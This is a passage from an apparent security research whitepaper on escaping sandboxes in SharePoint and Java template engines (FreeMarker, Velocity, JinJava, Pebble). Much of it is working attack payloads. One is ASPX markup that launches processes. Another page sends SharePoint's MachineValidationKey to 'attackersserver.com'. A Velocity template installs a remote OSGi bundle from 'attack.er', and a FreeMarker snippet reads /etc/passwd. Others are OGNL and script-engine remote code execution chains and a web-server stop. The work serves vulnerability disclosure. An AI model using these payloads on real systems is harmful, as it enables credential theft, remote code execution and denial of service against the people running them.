to our markup and we could include unsafe controls or directives. We can use the ​ParseControl() method as the starting point for our attack. Here is an example of its usage in the allowed ​WikiContentWebpart​ ​control: // Microsoft.SharePoint.WebPartPages.WikiContentWebpart protected override void CreateChildControls() { ... if (this.Page.AppRelativeVirtualPath == null) { this.Page.AppRelativeVirtualPath = "~/current.aspx"; } Control obj = this.Page.​ParseControl​(this.Directive + this.​Content​, ​false​); this.AddParsedSubObject(obj); } We see that the ​WikiContentWebpart.Content ​property is passed to the ​ParseControl() method. It is called with ​false ​in the ​ignoreParserFilter ​argument so SPPageParserFilter is not ignored. This is fine because we are going to change the value of VirtualPath​. Let’s find out how this value is defined for this particular case: // System.Web.UI.TemplateControl public Control ParseControl(string content, bool ignoreParserFilter) { return TemplateParser.ParseControl(content, VirtualPath.Create(this.​AppRelativeVirtualPath​), ignoreParserFilter); } [Code Ref #4] VirtualPath is created based on the value from the ​Page.AppRelativeVirtualPath property. It is public and is not marked by the ​DesignerSerializationVisibility.Hidden attribute: // System.Web.UI.TemplateControl [EditorBrowsable(EditorBrowsableState.Advanced)] [Browsable(false)] public string AppRelativeVirtualPath [Code Ref #4] The values of the ​Page.AppRelativeVirtualPath ​and ​WikiContentWebpart.Content properties can be set by ASPX markup in our site page: <WebPartPages:WikiContentWebpart id="Wiki01" runat="server" ​Page-AppRelativeVirtualPath​="newvalue"> ​<content> ​{Some ASPX markup} ​</content> </WebPartPages:WikiContentWebpart> There is one problem with this markup – the ​Page ​property of the ​WikiContentWebpart is not assigned by the time ASP.NET parser tries to set a “​newvalue” ​to Page.AppRelativeVirtualPath​. To solve this problem, we need to delay this assignment. For example using Data Binding, our ​Page ​property will be assigned by the time our expression is evaluated: <WebPartPages:WikiContentWebpart id=​"​Wiki01​"​ runat=​"​server​" ​Page-AppRelativeVirtualPath​=​'​<%# Eval("SomePropertyfromBindCtx") %>​'​> ​<content> ​{Some ASPX markup} ​</content> </WebPartPages:WikiContentWebpart> Our site page for this attack: <%@ Page Language="C#" %> <head runat="server" /> <form id="f1" runat="server"> <asp:menu id="NavMenu1" runat="server"> <StaticItemTemplate> <WebPartPages:WikiContentWebpart id="WikiWP1" runat="server" ​Page-AppRelativeVirtualPath​='​<%# Eval("ToolTip") %>​'> <content> <asp:ObjectDataSource ID="DS1" runat="server" SelectMethod="​Start​" TypeName="​system.diagnostics.Process​" > <SelectParameters> <asp:Parameter Direction="input" Type="string" Name="fileName" DefaultValue="​calc​"/> </SelectParameters> </asp:ObjectDataSource> <asp:ListBox ID="ListBox1" runat="server" DataSourceID= "DS1"/> </content> </WebPartPages:WikiContentWebpart> </StaticItemTemplate> <items> <asp:menuitem text="MenuItem1" ​ToolTip​="​/_layouts/15/settings.aspx​"/> </items> </asp:menu> </form> We are assigning the path of the ​settings.aspx application page to the ​ToolTip property of MenuItem ​and it will be bound to our ​Page.AppRelativeVirtualPath​. The SPPageParserFilter will think that it is processing ASPX markup of the application page and will not apply restrictions of safe mode and therefore allowing any unsafe controls. We are using the ​ObjectDataSource​ ​control that launches a calculator. Abusing read access to nested properties in SharePoint CVE-2020-1103 The attack with read access to the nested properties is more complicated and requires a few elements. The first one is ​ControlParameter ​that binds the value of a property of a control to a parameter object and can be used in ​ParameterCollection elements such as SelectParameters​ ​in the data source controls. The following code snippet illustrates how value binding works in​ ​ControlParameter​: // System.Web.UI.WebControls.ControlParameter protected override object Evaluate(HttpContext context, Control control) { ... string controlID = this.ControlID; string ​text​ = this.​PropertyName​; ... Control control2 = DataBoundControlHelper.FindControl(control, controlID); ... object obj = ​DataBinder.Eval​(control2​,​ ​text​)​; ... return obj​; } [Code Ref #5] It uses the ​ControlID ​property for searching specific control on the page (or other current container) and calls ​DataBinder.Eval() ​with this control and value of the ​PropertyName property for the expression, as arguments: expression ​- the navigation path from the container object to the public property value to be placed in the bound control property. This must be a string of property or field names separated by periods, such as ​Tables[0].DefaultView.[0].Price​ in C# At first glance it looks reasonable – for example we can put ​TextBox ​on the site page and the user can define a filter that is used in the data source control. We can use a path of nested properties here, similar to the example of the attack in the previous section, and try to get access to the values not only from “local” instances on the current page but also from “global” SharePoint instances (including ​Sites​, ​WebApplication, ​or even ​Farm)​. These global instances have a lot of sensitive information that will be helpful in future attacks. The next element for our attack is a method of how values of ​SelectParameters ​of data source control can be delivered to us. The SharePoint server has several interesting data source controls in its ​SafeControl ​list. For example, the ​XmlUrlDataSource and the SoapDataSource ​controls can send HTTP requests with values of ​SelectParameters ​to the external HTTP server. We can use one of these data source controls so that the value of our targeted property is sent to our server. The last piece of the puzzle for our attack is a path to the property with sensitive information. We need to explain a little bit about the configuration process of SharePoint Online servers. Obviously, they are installed and configured automatically with an amount of predefined configuration parameters unique to each tenant. These parameters are provided within a text file that is used during ​unattended configuration of a SharePoint server. When ​SPFarm ​is created, these configuration parameters are stored in the ​InitializationSettings​ ​property: // Microsoft.SharePoint.Administration.SPFarmFactory public SPFarm Create() { ... SPConfigurationDatabase configDb = this.CreateConfigurationDatabase(); SPFarm spfarm = new SPFarm(configDb); spfarm.​InitializationSettings​.Initialize(this.FarmInitializationSettingsFilePa th); spfarm.Update(); ... Many configuration parameters in ​SPFarm.InitializationSettings contain sensitive information that can be used for future attacks, including the value of the already mentioned ValidationKey​ - it is stored in the ​MachineValidationKey​ ​parameter, so let’s try to get it. SPFarm.InitializationSettings property is public, so we can access it with ControlParameter​: // Microsoft.SharePoint.Administration.SPFarm public SPFarmInitializationSettings InitializationSettings SPFarm​ ​instance can be taken from the ​Farm​ ​property of ​SPPersistedObject​: // Microsoft.SharePoint.Administration.SPPersistedObject public SPFarm Farm SPWebApplication ​Type is derived from ​SPPersistedObject so we can use it from the WebApplication​ ​property of ​SPSite​: // Microsoft.SharePoint.SPSite public SPWebApplication WebApplication We will take ​SPSite​ ​from the ​Site​ ​property of ​SPWeb​: // Microsoft.SharePoint.SPWeb public SPSite Site Finally ​SPWeb​ ​is accessible with the ​Web​ ​property of ​TemplateBasedControl​: // Microsoft.SharePoint.WebControls.TemplateBasedControl public virtual SPWeb Web We can use its derived control ​TemplateControl​. Now our path to the desired property is ready: TemplateControl​.​Web​.​Site​.​WebApplication​.​Farm​.​InitializationSettings​[​MachineVal idationKey​] The following is the site page that sends value of ​ValidationKey​ ​to ​attackersserver.com​: <%@ Page Language="C#" %> <SharePoint:TemplateContainer ID="​tc01​" runat="server" /> <SharePoint:XmlUrlDataSource runat="server" HttpMethod="GET" SelectCommand="​http://attackersserver.com/LogRequests.php​" id="DataSource1"> <SelectParameters> <asp:controlparameter name="MachineValidationKey" controlid="​tc01​" propertyname="​Web.Site.WebApplication.Farm.InitializationSettings[MachineValid ationKey]​"/> </SelectParameters> </SharePoint:XmlUrlDataSource> <form id="form1" runat="server"> <asp:ListBox ID="LBox1" runat="server" DataSourceID = "DataSource1" /> </form> We successfully used this value for an unsafe deserialization attack by ViewState and could execute arbitrary code on the target SharePoint Online server. Security problems during conversion of values to expected Types CVE-2020-1460 As with other applications, CMS-like systems might have various types of security problems, including SQL or Command injections, improper authentication or authorization, and others. Although the list of potential problems is long, we would call attention to one specific class of problems that looks quite promising for us (as attackers) in such systems. We recommend reviewing each place where plain text or binary data is converted to an object if the type or class of this object is under user control. Despite what mechanism(s) are in place (.NET deserializers, JSON unmarshallers, TypeConverters, or other possible mechanisms), we provided examples in ​one of our previous works​, that all of them have the potential to be exploited. An attacker may just need to find the proper gadget(s) for their successful exploitation. We found an example of such a problem in the SharePoint server and we were able to perform an arbitrary code execution attack using it. We reported the details of this vulnerability to Microsoft and it was successfully reproduced, confirmed and CVE-2020-1460 number was assigned. Unfortunately Microsoft has not released fixes for all affected products before this whitepaper publication so we are going to publish the details of this vulnerability later when these fixes are released. Time-of-check to time-of-use problems CVE-2020-1444 In addition to a classical review of parser filters and other security controls and searching for any bugs in their implementation, we highly recommend paying attention to actions on already verified input before its actual use. Any actions that can modify an input value can cause time-of-check to time-of-use (TOCTOU) issues and should invalidate the verification result. CVE-2020-1444 is a nice example of this type of security problem in the SharePoint server. This vulnerability exists in the ​/_layouts/15/WebPartEditingSurface.aspx​ page: //Microsoft.SharePoint.Publishing.Internal.CodeBehind.WebPartEditingSurfacePag e protected override void OnLoad(EventArgs e) { ... string ​text​ = DesignUtilities.FetchReqiredParamFromQueryString(base.Request, "​WebPartUrl​", "WebPartEditingSurfacePage"); string previewPageContext = DesignUtilities.FetchReqiredParamFromQueryString(base.Request, "Url", "WebPartEditingSurfacePage"); ... string text3 = this.​GetWebPartMarkup​(text); string webPartMarkup = WebPartEditingSurfacePage.​ConvertWebPartMarkup​(text3); XElement xElement = WebPartEditingSurfacePage.​ConvertMarkupToTree​(webPartMarkup); XElement xElement2 = xElement.Elements().First<XElement>(); ... base.Component.MarkupTree = xElement; if (!WebPartEditingSurfacePage.IsDWP(xElement2)) { ​text3​ = base.Component.ConvertMarkupTreeToControlMarkup(); DesignUtilities.AddAngleBracketsForResourceString(xElement2); } ... Control control = base.​ParseControl​(text3); flag = DesignUtilities.IsControlContainsType(control, typeof(ScriptWebPart)); if (flag) { this.webpartPreviewDiv.Controls.Add(control); ... Notice that this method uses ​ParseControl(string content) without the second argument, disabling the page parser filter. The value for this call to ​ParseControl can be taken from the Request parameter or from the content of the uploaded document from the path defined in the ​WebPartUrl ​query parameter. In both cases this content is user controlled: //Microsoft.SharePoint.Publishing.Internal.CodeBehind.WebPartEditingSurfacePag e private string GetWebPartMarkup(string webPartUrl) { string text; if (this.Page.IsPostBack) { text = this.Page.​Request.Form​[WebPartEditingSurfacePage.WebPartMarkupHiddenFieldName] ; text = SPHttpUtility.HtmlDecode(text.Trim()); } else { text = this.currentWeb.​GetFileAsString​(webPartUrl); } return text; } The ​VerifyControlOnSafeList() method, discussed previously, is called in webPartPagesWebService.ConvertWebPartFormat() to verify the input value against unsafe controls​: //Microsoft.SharePoint.Publishing.Internal.CodeBehind.WebPartEditingSurfacePag e private static string ConvertWebPartMarkup(string initialWebPartMarkup) { WebPartPagesWebService webPartPagesWebService = new WebPartPagesWebService(); return webPartPagesWebService.​ConvertWebPartFormat​(initialWebPartMarkup, FormatConversionOption.ConvertToWebPartDesignerPersistenceFormat); } Now our input can be considered safe, but this value can be changed by the WebPartEditingSurfacePage.ConvertMarkupToTree()​ method: //Microsoft.SharePoint.Publishing.Internal.CodeBehind.WebPartEditingSurfacePag e internal static Regex ​tagPrefixRegex​ = new Regex("​<%@ *Register *TagPrefix=\"(?'TagPrefix'[^\"]*)\"(?'DllInfo'.*)%>​", RegexOptions.IgnoreCase | RegexOptions.Compiled); //Microsoft.SharePoint.Publishing.Internal.CodeBehind.WebPartEditingSurfacePag e private static XElement ConvertMarkupToTree(string ​webPartMarkup​) { XElement xElement = new XElement("markup"); DesignUtilities.AddPageDirective(xElement, "__designer", "SPD"); MatchCollection matchCollection = WebPartEditingSurfacePage.tagPrefixRegex.Matches(webPartMarkup); foreach (Match match in matchCollection) { webPartMarkup = ​webPartMarkup.Replace​(match.​Value​, ​""​); string value = match.Groups["TagPrefix"].Value; if (value == "cc1") { ... } else if (value != "asp") { ... } } return DesignUtilities.SetMarkupTree(xElement, webPartMarkup); } If our input has a substring that matches the ​tagPrefixRegex ​pattern, the server removes it and if it is an “​asp​” prefix it is not added to the ​PageDirective ​section. These modifications might significantly change our input from a security point of view and allow us to inject dangerous content that bypasses the ​VerifyControlOnSafeList()​ ​validation. Let’s consider the next input: <%-- prefix --%​<%@ Register TagPrefix="asp" Namespace="System.Web.UI.WebControls" Assembly="System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" %>​> {unsafe ASPX markup} <%-- sufix --%> VerifyControlOnSafeList() will pass this input because the entire snippet is one comment, but after that ​WebPartEditingSurfacePage.ConvertMarkupToTree() ​transforms it into two comments and ASPX​ ​markup: <%-- prefix --%> {unsafe ASPX markup} <%-- sufix --%> A successful attack input should be a valid XML value and we need at least one child of ScriptWebPart Type in our ASPX markup. The payload that starts calculator can resemble the following: <%@ Register TagPrefix="WebPartPages" Namespace="Microsoft.SharePoint.WebPartPage" Assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> <%@ Register TagPrefix="SearchW" Namespace="Microsoft.Office.Server.Search.WebControls" Assembly="Microsoft.Office.Server.Search, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> <%@ Register TagPrefix="asp3" Namespace="System.Web.UI.WebControls" Assembly="System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" %> <SearchW:DataProviderScriptWebPart ID="DPSWebPart1" runat="server" /> <div id="cdata1"><![CDATA[ <%-- prefix --%​<%@ Register TagPrefix="asp" Namespace="System.Web.UI.WebControls" Assembly="System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" %>​> <asp3:ObjectDataSource ID="ODS1" runat="server" SelectMethod="​Start​" TypeName="​System.Diagnostics.Process​" > <SelectParameters> <asp3:Parameter Direction="input" Type="string" Name="fileName" DefaultValue="​calc​"/> </SelectParameters> </asp3:ObjectDataSource> <asp3:ListBox ID="LB1" runat="server" DataSourceID = "ODS1" /> <%-- sufix --%> ]]></div> Now we can upload this payload as a site document and use its path in the ​WebPartUrl ​query parameter. One last note – for a successful attack, we need to provide the ​Url ​query parameter. It should contain the relative address of any file from the SharePoint DataBase with the ​FieldId.AssociatedContentType field. For example, it can be any Master Page from a Design Manager. Java Template Engines A ​Java ​template engine is a Java library that generates text output (HTML web pages, e-mails, configuration files, source code, and other.) based on templates that mix static and dynamic data. Templates are written in different languages (for example, the FreeMarker Template Language (FTL)), which are normally simple, specialized languages that include a subset of the Java language. To resolve the dynamic expressions (for example, ​“$user.name”​), the engine accesses Java objects available in the Template Context and invokes Java methods to find the desired value (for example, “user.name” invokes user.getName() to find the user’s name). Because the evaluation of the template expressions involves the execution of Java methods, a user who can write arbitrary templates could run arbitrary Java methods that could lead to security problems. To prevent that, Engines implement different sandbox mechanisms that will try to prevent arbitrary code execution. We focused our research on four of the most important template engines: FreeMarker, Velocity, JinJava, and Pebble. All of these template engines have some sort of sandbox to prevent the execution of arbitrary Java code. Other popular engines, such as Thymeleaf and Jelly, do not have such protection and therefore gaining arbitrary code execution when controlling a template is straightforward and out of scope for this paper. To prove the different vectors and bypasses, we tested them on ten different CMS-like applications including Alfresco, Liferay, Crafter CMS, Ofbiz, Khoros (Lithium CMS), dotCMS, Cascade CMS, Confluence, XWiki, and HubSpot CMS. In the following sections, we describe both the objects exposed to the Template Context (Template API) and the sandbox weaknesses that can circumvent the protections and escape the sandboxes. Engine-Independent Bypasses: Object Dumpster Diving The first approach to bypass the sandbox is to find an object in the template context that could be used to gain arbitrary code execution and that is not forbidden by any of the sandbox blocklist. These bypasses are engine-independent because they work on all templates, no matter which engine is running them. As we mentioned before, CMS systems and sometimes the underlying frameworks store objects in the template context. If we have access to the Java runtime, we can easily debug or instrument the CMS to dump all the objects in the context and perform an analysis. If this is not the case, we can still learn about the objects in the context by reading the Template API documentation of the specific API (if any), brute-force common object names such as request, req, response, resp, application, session, … or in some cases we can list context objects using special variables. For example, in the case of FreeMarker, we can use the special .data_model​ variable to access all non-global variables in the context: <ul> <#list .data_model?keys as key> <li>${key}</li> </#list> </ul> Or (depending on the FreeMarker version): ${.data_model.keySet()} In Velocity, we can list all the context variables when the​ ​ContextToo​l​ is deployed: <ul> #foreach( $key in $context.keys ) <li>$key = $context.get($key)</li> #end </ul> In JinJava (< 2.5.4), we can list all context objects by accessing the interpreter object: {% for k in ____int3rpr3t3r____.getContext().entrySet().toArray() %} {{k.getKey()}} - {{k.getValue()}}<br/> {% endfor %} Some objects such as the ​HttpServletRequest​, ​HttpSession​, and ​ServletContext might behave as object stores and give access to additional objects. For example, in Velocity, we can list all these objects by doing the following <ul> #foreach( $a in $request.getAttributeNames() ) <li>$a</li> #end </ul> <ul> #foreach( $a in $request.getSession(true).getAttributeNames() ) <li>$a</li> #end </ul> <ul> #foreach( $a in $request.getServletContext().getAttributeNames() ) <li>$a</li> #end </ul> If we get access to Servlet objects (request, response, session, context), we will normally expand our gadget surface from a few objects to dozens of them. The following is an example of the kind of attributes we can find in the ServletContext: As shown in the previous screenshot, the ServletContext gave us access to Tomcat resource root, the Spring framework application context, an Instance manager, and the Spring dispatcher servlet among others. In the following section, we will analyze some of the most interesting RCE-leading objects we found in the template contexts of these ten analyzed CMS applications. Hazardous objects ClassLoaders We found instances of ​java.lang.ClassLoader in all of the analyzed applications. We can normally get an instance by using any of the following methods: ● java.lang.Class.getClassLoader() ● java.lang.Thread.getCurrentClassLoader() ● java.lang.ProtectionDomain.getClassLoader() ● javax.servlet.ServletContext.getClassLoader() ● org.osgi.framework.wiring.BundleWiring.getClassLoader() ● org.springframework.context.ApplicationContext.getClassLoader() Even though the first two are normally blocked on most sandboxes, ProtectionDomain and ServletContext ones are normally not blocked. For example: ${​any_object​.class.classLoader} ${request.servletContext.classLoader} Getting access to a Java ClassLoader allows us to load arbitrary classes or classpath resources managed by that ClassLoader. The former is interesting because it is normally required to instantiate arbitrary types, and the latter enables us to download application configuration files and even the application JAR files. In addition to classpath resources, we can also use the ClassLoader instance to read arbitrary files from the file system (under the same permissions as the application server) by using the getResource() method to get an instance of ​java.net.URL and then turn it into a URI pointing to the desired file. After that, we can turn it back into a URL and read its contents by opening a connection to that URL: <#assign uri = classLoader.getResource("META-INF").toURI() > <#assign url = uri.resolve("​file:///etc/passwd​").toURL() > <#assign bytes = url.openConnection().inputStream.readAllBytes() > ${bytes} Web Application ClassLoaders Because CMS applications are deployed on top of Servlet Containers and Application Servers, the ClassLoader we can access might be an instance of a Web Application ClassLoader. Web Application ClassLoaders extend from java.lang.ClassLoader​, but define additional methods to manage the way class loading works on application servers that normally use a delegation model different fromthe one used by standard ClassLoaders. We found these ClassLoaders in nine out of the ten applications we analyzed so we took a look at the additional methods exposed to determine if we could get arbitrary code execution and found the following vectors: Tomcat​ ​(​org.apache.catalina.loader.WebappClassLoader​) The ClassLoader’s ​getResources​() method gives us access to an instance of WebResourceRoot​ that exposes some additional methods, including: write​(​String​ path, ​InputStream​ is, boolean overwrite) Creates a new file at the requested path using the provided InputStream allowing us to upload a webshell. getContext​() Gives us access to the Tomcat​ ​context​ that in turn exposes: getInstanceManager​() Which, as we will see in the following section, allows us to instantiate arbitrary objects. Jetty​ ​(​org.eclipse.jetty.webapp.WebAppClassLoader​) Jetty ClassLoader exposes​ ​getContext​()​ that gives us access to an instance of WebAppContext​ that exposes: getObjectFactory​() This method allows us to instantiate arbitrary types as shown in the following section. GlassFish​ ​(​org.glassfish.web.loader.WebappClassLoader​) The ClassLoader​ ​getResources​()​ method returns an instance of javax.naming.directory.DirContext that exposes some methods to perform JNDI lookups such as: lookup​(​String​ name) Check ​our BlackHat 2016 presentation about JNDI injection attacks to learn how to perform these attacks. WebLogic​ ​(weblogic.utils.classloaders.GenericClassLoader) This ClassLoader exposes the following method: defineCodeGenClass​(​String​ className, byte[] bytes, ​URL​ codebase)) It allows us to define, load and initialize arbitrary classes from an array of bytes. An attacker can provide a custom class with a payload embedded in the class static initializer to execute arbitrary code. WebSphere​ ​(com.ibm.ws.classloader.CompoundClassLoader) Similar to the WebLogic ClassLoader, the ClassLoader exposes: defineApplicationClass​(​String ​className​,​ byte[]​ ​bytecode) Allows an attacker to define and load an arbitrary custom class with a malicious static initializer. However, in this case the class is not initialized so attackers require an additional step to initialize the class, for example: instantiate it, access a static method or field or load it with ​java.lang.Class.forName(string, ​true​, ClassLoader)​. Tomcat, Jetty, GlassFish​ ​(​java.net.URLClassLoader​) In addition any ClassLoader extending from ​java.net.URLClassLoader contains the following static method: newInstance​(​URL​[] ​urls​) This method allows the attacker to initialize the ClassLoader pointing to their own JAR file. Any additional class loading on that ClassLoader tries to resolve the class from the attacker-controlled JAR file. As in the WebSphere case, newInstance(attacker-url).loadClass(⋯​) allows us to define and load arbitrary classes, but not to instantiate them. Instance Managers The second most common objects that can be used to bypass the sandbox and achieve arbitrary code execution are the ones known as Instance Managers or Object Factories. These enable us to instantiate arbitrary classes. These are normally used by Servlets to instantiate filters and other servlets and therefore they are normally found in the Servlet context under attributes such as: ● org.apache.catalina.InstanceManager ● org.wildfly.extension.undertow.deployment.UndertowJSPInstanceManager ● org.eclipse.jetty.util.DecoratedObjectFactory As we saw in the previous section, they can sometimes be accessed through Web Application ClassLoaders. For example: Tomcat $request.servletContext.classLoader​.​resources​.​context​.​instanceManager Jetty $request.servletContext.classLoader​.​context​.​objectFactory Once we are able to access an Instance Manager, we can instantiate arbitrary types. There are a number of classes that we can use to execute arbitrary Java code or System commands, including the ScriptEngineManager class: ${im.newInstance('javax.script.ScriptEngineManager').getEngineByName('js').eva l(​'CODE'​)} Spring Application Context The Top #3 object we can use to escape the sandbox are the Spring framework Contexts. These will obviously be only available when the Spring Framework is used, but that was the case in four out of the ten CMS applications we analyzed so it is a plausible vector. Spring framework Contexts ​provide an advanced configuration mechanism capable of managing beans (objects) of any nature, using potentially any kind of storage facility. The ​ApplicationContext builds on top of the ​BeanFactory (it is a subclass) that provides an advanced configuration mechanism capable of managing beans (objects) of any nature. It also adds other functionality such as easier integration with Springs AOP features, message resource handling (for use in internationalization), event propagation, declarative mechanisms to create the ApplicationContext and optional parent contexts, and application-layer specific contexts such as the WebApplicationContext. We can normally access the Root application context under the org.springframework.web.context.WebApplicationContext.ROOT attribute, but other Application Contexts might also be exposed. In addition, the Spring MVC ​AbstractTemplateView exposes a ​RequestContext object to the Template Context regardless of the template engine used. ​This object is exposed under the springMacroRequestContext name. Amongst other methods, the RequestContext exposes a getWebApplicationContext​() method, which returns the current WebApplicationContext. Therefore, we can also access the Spring Web Application Context using the following object chain on applications using Spring MVC Template views: ${springMacroRequestContext.webApplicationContext} Lastly, some template engines such as Pebble might ​expose all the Spring Beans as part of their Spring integration. After we have access to the Spring Application Context, we can perform a number of different attacks: getClassLoader() This method returns a ClassLoader instance that we can use to start a ClassLoader-based attack as mentioned in the previous sections. getServletContext() This method returns an instance of the ServletContext from which we can obtain new objects such as Instance Managers. getWebServer() This method gives us access to the Web Server and enables us to stop it as part of a Denial Of Service attack. For example: ${Application['org.springframework.web.context.WebApplicationContext.ROO T'].getWebServer().stop()} getEnvironment() This method gives us access to the system properties and environment variables: Application['org.springframework.web.context.WebApplicationContext.ROOT' ].environment.systemProperties Application['org.springframework.web.context.WebApplicationContext.ROOT' ].environment.systemEnvironment getBeanFactory()​ /​ ​getBean​(​String name​) These methods give us access to all Spring Beans (objects) registered in the Application Context. This is probably the most interesting vector since most of these objects are service beans that enable us to control the application logic by creating/deleting users, creating transactions, etc. Depending on the beans we can access, we can even disable the engine sandbox as we will see later or instantiate arbitrary objects by using JSON/XML unmarshallers: <#assign ctx=springMacroRequestContext> <#assign mapper=ctx.webApplicationContext.getBean('jacksonObjectMapper')> <#assign classloader=ctx.webApplicationContext.classLoader> <#assign smc=classloader.loadClass('javax.script.ScriptEngineManager')> ${​mapper.enableDefaultTyping().readValue("{}",smc).getEngineByName('js').eval( 'CODE'​)​} We can list all the Spring Beans and their types. For example, in FreeMarker: <#assign ctx=springMacroRequestContext> <#list ctx.webApplicationContext.getBeanDefinitionNames() as item> <p><b>${item}</b> - <#attempt>${ctx.webApplicationContext.getBeanDefinition(item).beanClass} <#recover>no class</#attempt></p> </#list> Thread Sometimes found as a Request attribute, ​java.lang.Thread gives access to the current thread enabling us to suspend it or stop it. It also gives us access to the Context ClassLoader through the following method: getContextClassLoader​() By accessing the current thread ClassLoader, we can start a ClassLoader-based attack as explained in previous sections. Tomcat WebResourceRoot Tomcat’s Web resources represent the complete set of resources for a web application. We have already discussed Tomcat’s ​WebResourceRoot as part of the Web Application ClassLoader section, however, it is interesting to note that it can also be found as a ServletContext attribute under the org.apache.catalina.resources key. In addition to the write()​ and ​getContext()​ methods, there are some other interesting methods: getBaseUrls​() It returns an array of java.net.URL that we can use to read arbitrary files from the file system as mentioned earlier. mkdir​(​java.lang.String path​) Create a new directory at the given path. OSGI Bundle Context OSGi Bundle Execution Contexts were found in two of the analyzed CMS applications and offer an interesting RCE vector by loading remote Bundles and starting them, effectively running the attacker-controlled Bundle’s org.osgi.framework.BundleActivator.​start​(BundleContext context) method. For example, the following Velocity template loads a remote bundle from attack.er domain and starts it, effectively executing the payload stored in the​ ​start​ method: #set($location = "​https://attack.er/pwnbundle.jar​" ) #set($bundleAttr = "org.osgi.framework.BundleContext" ) #set($servletContext = $request.servletContext() ) #set($bundleContext = $servletContext.getAttribute($bundleAttr) ) #set($bundle = ​$bundleContext.installBundle($location)​ ) <p>$bundle.getBundleId()</p> <p>$bundle.getSymbolicName()</p> <p>$bundle.getState()</p> <p>​$bundle.start(3)​</p> <p>$bundle.getState()</p> <p>$bundle.uninstall()</p> JSON/XML Unmarshallers Unmarshallers are a quick and easy way for us to get arbitrary classes instantiated. We can achieve this by unmarshalling an empty JSON object of a specified type. The following example uses an example from Liferay, which exposed a JSON utility object called​ jsonFactoryUtil​: <#assign cl=jsonFactoryUtil.protectionDomain.classLoader> <#assign c=cl.loadClass("javax.script.ScriptEngineManager")> <#assign deser=jsonFactoryUtil.createJSONDeserializer()> <#assign sm=​deser.deserialize("{}", c)​> In a different example from Liferay, we obtained a different JSON Unmarshaller from the Spring Application Context: <#assign attr='org.springframework.web.context.WebApplicationContext.ROOT'> <#assign ac=Application[attr]> <#assign jf=ac.getBean('com.liferay.portal.kernel.json.JSONFactory')> <#assign wl=jf.getLiferayJSONDeserializationWhitelist()> <#assign VOID=wl.​register("javax.script.ScriptEngineManager")​> <#assign sm=jf.​deserialize('{"javaClass":"javax.script.ScriptEngineManager"}')​> Even though it might look similar to the previous example, this one has an important advantage. Class is specified as a String rather than a Class object, so a ClassLoader access is not a requirement. In this particular case, the deserializer uses an allowlist to prevent the use of arbitrary types, but we can access it and register our own classes. Struts Action In some cases, we can get access to the Struts Action handling the request. These were directly exposed to the Template Context (for example, ​$context​) or were available in the request attributes (for example, $req.getAttribute('view.page.action.helper').getAction()​). If the ​Action extends from ActionSupport​, we can get arbitrary code execution by injecting arbitrary OGNL expressions using the following method: getText​(​String​ aTextName) This method pre-evaluates the argument as an OGNL Injection: $action.getText("foo","${@java.lang.Runtime@getRuntime().exec('touch /tmp/pwned')}", null) Struts OgnlValueStack In the same CMS, we also accessed an instance of the OgnlValueStack class in a couple of ways: ● Directly exposed to the context, such as: ​$stack ● $req.getAttribute('webwork.valueStack') ● $application.getAttribute('com.opensymphony.xwork.DefaultActionInvoc ation').getStack() After we get an instance of the Value Stack we can access the ​findValue​ method: findValue​(​String​ expr) Find a value by evaluating the given expression against the stack in the default search order. $stack.findValue("@java.lang.Runtime@getRuntime().exec('touch /tmp/pwned')") Struts DefaultActionInvocation Similarly, we accessed an instance of Struts ​DefaultActionInvocation from the ServletContext. This class contains a few interesting methods: getAction​() Get the Action associated with this ActionInvocation. See “Struts Action” section getStack​() Gets the ValueStack associated with this ActionInvocation. See “Struts OgnlValueStack” There are other interesting methods that can lead to OGNL injection. Struts OgnlTool We also found an instance of ​OgnlTool​ that exposes the ​findValue​()​ method: findValue​(​String​ expr, ​Object​ context) Evaluate arbitrary OGNL expressions VelocityWebWorkUtil We found a ​VelocityWebWorkUtil object in one of the analyzed CMS applications. It led to an interesting bypass because it exposes the following method: evaluate​(​String ​expression) This method gets an unsandboxed instance of the Velocity evaluator, so we can use it to run plain payloads. For example: $webwork.evaluate("\#set( $v = '') $v.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invok e(null,null).exec('touch /tmp/pwned_webwork')") FreeMarker StaticModels In one of the analyzed CMS applications, we found that even though the developers enabled the sandbox and disabled the new built-in, they exposed FreeMarker StaticModels. This TemplateModel enables access to static fields and methods from arbitrary classes, effectively leading to RCE in multiple ways. This object is not exposed by default though. To expose it, developers normally do something along the lines of: model.addAttribute("statics", new DefaultObjectWrapperBuilder(new Version("2.3.30")).build().getStaticModels()); Or globally TemplateHashModel staticModels = wrapper.getStaticModels(); newConfig.setSharedVariable("statics", staticModels); When exposed, static methods can be accessed in the following way: $statics["com.sun.org.apache.xerces.internal.utils.ObjectFactory"].newInstance ("javax.script.ScriptEngineManager",true) C​amelContext CamelContext exposes numerous ways to execute arbitrary code. The most straightforward involves the ​getClassResolver()​ and ​getInjector()​ methods: <#assign cr = ​camelContext.getClassResolver()​> <#assign i = ​camelContext.getInjector()​> <#assign semc = cr.​resolveClass​('javax.script.ScriptEngineManager')> <#assign sem = i.​newInstance​()> ${sem.getEngineByName("js").eval("var proc=new java.lang.ProcessBuilder('id');var is=proc.start().getInputStream(); var sc=new java.util.Scanner(is); var out=''; while (sc.hasNext()) {out += (sc.nextLine())};out")}"​; Specific Sandbox Bypasses FreeMarker The Sandbox is enabled by default and consist of a ​method-based blocklist​: java.lang.Object.wait() java.lang.Object.wait(long) java.lang.Object.wait(long,int) java.lang.Object.notify() java.lang.Object.notifyAll() java.lang.Class.getClassLoader() java.lang.Class.newInstance() java.lang.Class.forName(java.lang.String) java.lang.Class.forName(java.lang.String,boolean,java.lang.ClassLoader) java.lang.reflect.Constructor.newInstance([Ljava.lang.Object;) java.lang.reflect.Method.invoke(java.lang.Object,[Ljava.lang.Object;) java.lang.reflect.Field.set(java.lang.Object,java.lang.Object) java.lang.reflect.Field.setBoolean(java.lang.Object,boolean) java.lang.reflect.Field.setByte(java.lang.Object,byte) java.lang.reflect.Field.setChar(java.lang.Object,char) java.lang.reflect.Field.setDouble(java.lang.Object,double) java.lang.reflect.Field.setFloat(java.lang.Object,float) java.lang.reflect.Field.setInt(java.lang.Object,int) 